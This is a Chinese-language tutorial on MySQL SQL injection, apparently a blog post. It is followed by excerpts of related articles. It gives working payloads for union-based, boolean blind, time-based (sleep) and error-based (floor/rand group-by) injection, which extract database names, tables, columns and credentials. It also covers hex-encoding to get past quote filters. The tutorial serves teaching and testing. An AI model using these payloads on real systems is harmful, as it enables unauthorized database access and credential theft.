各位扥扥早!
好了廢話不多說了,如果有用請**出去。
sql注入理解
1. 定義/型別
定義:簡單來說,當客戶端提交的資料未做處理或轉義直接帶入資料庫就造成了sql注入。
注入型別分為:
1. 整型(沒有單雙引號)
2. 字串(有單雙引號)
3. 其他細分的型別本質上就是整型和字串的區別
2.聯合注入
union連線查詢(字段必須和**字段總數相符)
獲取資料庫資訊
' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
mysql> select *from admin where username='hello' union select 1,database();
+----------+----------+
| username | password |
+----------+----------+
| hello | 123 |
| 1 | sqltest |
+----------+----------+
//sqltest為資料庫名稱
爆破資料庫表
' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
爆破欄位名
select group_concat(column_name) from information_schema.columns where table_name='users'
select *from admin where 1=1 union select 1,table_name from information_schema.tables where table_schema='sqltest';//資訊點:資料庫名和資料庫中的表名
select column_name from information_schema.columns where table_name='admin';
//已知表名找欄位名
獲取欄位下一條 limit 1,1
最後已知欄位和表名就可以獲取內容啦!
but,要是不能輸入單引號或者雙引號呢?
'admin' ====> 0x61646d696e(asciihex)
3.匯出資料庫別名拿shell
4.布林注入
分析:username=『中間的'人為閉合,使得 or 2>1 可以執行』
mysql的注釋(很有用):空格--空格 或者 #
select username,password from user where username='1' or true;
select username,password from user where username='1' or !false;
mid(str,1,3)字串擷取
ord()轉成ascii碼
length()統計位元組長度
步驟:(手工注入)
1.獲取資料庫長度
username=111' or length(database()) >1 # &password=222;//布林注入的結果為真假,所以要判斷,知道長度後》改為=
2.獲取資料庫名稱
ord(mid(database(),1,1))//對照ascii碼表
ord(mid(database(),2,1))
ord(mid(database(),3,1))
...3.獲取表數目
or (select count(table_name) from information_schema.tables where table_schema=database())=1;
4.獲取表名長度
第乙個表長:
select length(table_name)from information_schema.tables where table_schema=database() limit 0,1;
第二個表長:
select length(table_name)from information_schema.tables where table_schema=database() limit 1,1;
5.獲取表名
6.獲取字段總數
column_name from information_schema.columns where table_name=
7.獲取字段長度
8.獲取欄位名
9.獲取字段內容
10.獲取內容長度
select length(concat(username,'-----'password)) from 表名 limit 0,1;
11.獲取內容
select concat(username,'-----'password) from 表名 limit 0,1;
5. 延時注入(與布林類似)if(條件,true,false)
sleep(5);
獲取資料庫總數
select count(schema_name) from information_schema.schemata;
獲取資料庫名稱
select schema_name from information_schema.schemata limit 0,1;
延時注入
sleep(if((select count(schema_name) from information_schema.schemata)>1,0,5));
6.mysql之bug注入
注意:**的內容要有3條以上才有效
1.爆資料庫
select concat(floor(rand(0)*2),'*****==',(select database()))as xx, count(1)from admin group by xx;
error 1062 (23000): duplicate entry '1*****==sqltest' for key ''
2.爆表名
select concat(floor(rand(0)*2),'*****==',(select (table_name) from information_schema.tables where table_schema=database()))as xx, count(1)from admin group by xx;
error 1062 (23000): duplicate entry '1*****==admin' for key ''
3.爆欄位
select concat(floor(rand(0)*2),'*****==',(select concat(username,'----',password) from admin limit 0,1)) as xx, count(1)from admin group by xx;
error 1062 (23000): duplicate entry '1*****==bai----123' for key ''
//語法錯誤什麼的錯誤**是1064,報錯注入的錯誤**是1062
到了演示最後了,不知道是否幫助到各位? SQL注入 MYSQL
並不通用,條件苛刻 sql語句中,擷取字串函式的索引是從1開始的,php中是從0開始的 1.過濾or,and,xor 1 首先oorr有用 2 有用 3 有用 4 十六進製制編碼 select column name from information schema.columns where tab...
mysql中文注入 SQL注入之Mysql報錯注入
志向和熱愛是偉大行為的雙翼。昨天偷懶了沒學什麼東西,先自我反省一下 今天認真的學習了一下mysql報錯注入利用方法及原理,好久之前就像認真的學一下這個了,是在上海市大學生網路安全大賽中遇到的web100。當時懵逼狀態,被學長提醒了一下才知道是mysql報錯注入,因為之前一直都沒接觸過,所以當時只是知...
ACCESS延時注入
這也算是個新知識吧。今天遇到個站,實實在在存在注入,但是弄不出欄位。本應該可以用便宜注入。但是不知道為什麼就是就是弄不出來.payload select count from msysaccessobjects as t1,msysaccessobjects as t2,msysaccessobje...